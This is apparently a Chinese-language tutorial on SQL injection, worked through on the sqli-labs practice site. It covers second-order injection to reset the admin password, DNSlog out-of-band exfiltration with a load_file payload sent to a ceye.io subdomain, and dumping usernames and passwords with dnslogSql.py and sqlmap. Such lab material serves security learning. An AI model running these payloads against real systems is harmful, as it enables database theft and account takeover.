#sql注入之二次注入
1.注入原理
二次注入可以了解為,構造惡意資料存儲在資料庫後,惡意資料被讀取并進入到了SQL查詢語句所導緻的注入。惡意資料插入到資料庫時被處理的資料又被還原并存儲在資料庫中,當Web程式調用存儲在資料庫中的惡意資料并執行SQL查詢時,就發生了SQL二次注入。
二次注入可分為兩步:
第一步:插入惡意資料
進行資料庫插入資料時,對其中的特殊字元進行了轉義處理,在寫入資料庫的時候又保留了原來的資料。
第二步:引用惡意資料
開發者預設存入資料庫的資料都是安全的,在進行查詢時,直接從資料庫中取出惡意資料,沒有進行進一步的檢驗處理。

2.靶場示範
sqlilabs第24關
發現預設使用者為admin密碼未知
嘗試建立一個使用者admin'#進行二次注入
檢視資料庫,已經添加成功
登陸admin'#
可以修改密碼,我們檢視此頁面的網站源碼,發現更新使用者密碼的sql語句如圖:
我們修改使用者admin'#的密碼的SQL語句為:
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
注釋掉後面的語句,就變成了修改使用者admin的密碼了,而admin'#使用者密碼沒有改變。
#DNSlog帶外注入
1.帶外注入原理
帶外注入是為了解決一些注入沒有回顯,也不能進行時間盲注的情況。也就是利用其他的協定或管道,如http請求、DNS解析、SMB服務等京資料帶出。
2.靶場示範
首先在http://ceye.io/注冊一個賬号,記錄以下資訊
使用sqlilabs第9關進行示範
不會顯示任何資訊:
構造pylaod:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 and if ((select load_file(concat('\\\\',(select version()),'.xxxx.ceye.io\abc'))),1,0)--+
在平台上檢視傳回的值:
3.工具使用
工具位址 :https://github.com/adooo/dnslogsqlinj
需要使用python27環境
首先需要修改配置檔案:
使用語句如下:
擷取資料庫名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" --dbs
擷取資料庫security下的表名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security --tables
擷取users表的列名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users --columns
擷取uses表中的資料:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users -C username,password --dump
#sql注入加解密
小夥伴們可能會碰到有的url中有base64編碼或者其他編碼,在此類注入時我們需要先夠造注入語句再進行轉碼,最後得到的編碼再注入。
sqlmap中有相應的插件,可使用語句:
sqlmap -u http://xxxx.com/index.php?id=MQ== --tamper base64encode.py –dbs
或者進行中轉注入:
大體意思就是将傳參用base64編碼,再與url進行拼接。在開啟htt服務用sqlmap或其他工具進行測試這個檔案即可.
首先構造檔案:
大體意思就是将傳參用base64編碼,再與url進行拼接。
其中base64_decode()函數是将傳入的參數進行base64編碼。
file_get_contents()函數是用來将檔案的内容讀入到一個字元串中的首選方法。
例如sqlmap:
python sqlmap.py -u "http://127.0.0.1/test.php?x=" -v 3